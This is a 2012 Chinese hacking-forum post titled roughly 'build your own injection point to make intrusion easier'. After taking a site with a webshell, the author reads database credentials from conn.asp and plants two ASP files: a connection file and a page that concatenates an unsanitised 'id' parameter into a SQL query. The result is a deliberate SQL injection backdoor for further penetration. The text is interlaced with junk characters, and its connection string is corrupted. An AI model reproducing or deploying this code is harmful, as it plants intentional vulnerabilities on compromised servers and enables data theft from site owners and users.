找回密码
 立即注册
查看: 2448|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵! h8 z' N  @  j( M- M  i! f

: p) ?7 v$ ]0 o今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息# q# t# F8 f. _- ]8 B/ h* p
( ?" z7 g8 @0 D+ T- N
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!  q0 z; g/ H7 t7 x; |% w6 T3 p+ P$ j

  q4 d6 i4 z2 G$ _2 h# F3 O首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
) x6 P& a% |: O$ F& D. X) |1 k0 u, m) r9 r7 C, H
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表' ?; @. y# o. v4 V

* |( V, E6 I- G( D, Z因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
: z  S6 }" R. I- y' L
& i4 M3 v. [' W) E, v) W7 z* i4 z程序代码
( _2 l& c  a$ n: n5 D3 v<!--#include file="xx.asp"--># X# C0 c+ H) Y- n
<%
: q0 i$ d* q  Y; N' e6 y" \4 R: uset rs=server.createobject("ADODB.recordset")
8 U; ^2 ~7 j0 [3 i) n5 [1 |id = request("id")! `' U1 L4 f- ^$ x
strSQL = "select * from admin where id=" & id
" L# i0 X: D4 Z& Y) D  hrs.open strSQL,conn,1,31 x/ Y9 o, v; h) B1 J0 `; r6 _
rs.close7 x0 S/ r/ R8 b9 g
%>. `: j' Y% q. ]4 O$ t6 g

  S3 }$ y+ H. G6 J8 r7 i0 j  f把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在# T# g) D8 o9 P7 _

) U! E; y0 I* q/ Q# U  D9 J8 Q你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
- C8 ~  O' g& R
% [1 g* o7 [) H+ I. b. j然后就要构造一个连接数据库的文件了,代码如下:
1 T/ y2 [* d( r程序代码
, n" h: q: l! V9 O<%        2 c, @6 O0 M7 `6 X% w
strSQLServerName = "000.000.000.000"     '服务器名称或地址* ^3 p) J$ ^' y  ^: o8 G4 K6 d
strSQLDBUserName = "sqlname"         '数据库帐号
3 d: `& J1 f+ A0 C' NstrSQLDBPassword = "sqlpass"         '数据库密码
9 z' t: L. q- M, Y2 C- [' N3 rstrSQLDBName = "sqldataname"           '数据库名称
; u$ e! a1 U, ]2 fSet conn = Server.CreateObject("ADODB.Connection"); ?0 U7 ?4 o, T; \+ t
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
" s: e) i. K/ \1 @conn.open strCon9 f0 p1 @4 a( J5 K( u& E+ i) k/ g
%>
* V' @9 W7 _) f2 r
% c# U, m5 `& `; \! ?, y* }* ~: J% Y% x这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,& v$ C$ O8 q- N
( U+ U- O8 t9 E; U( P
就这样,正常情况下,就OK了,伪造成功……( B% k8 I% u% a3 r: L

" n; S6 N" e) Z           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表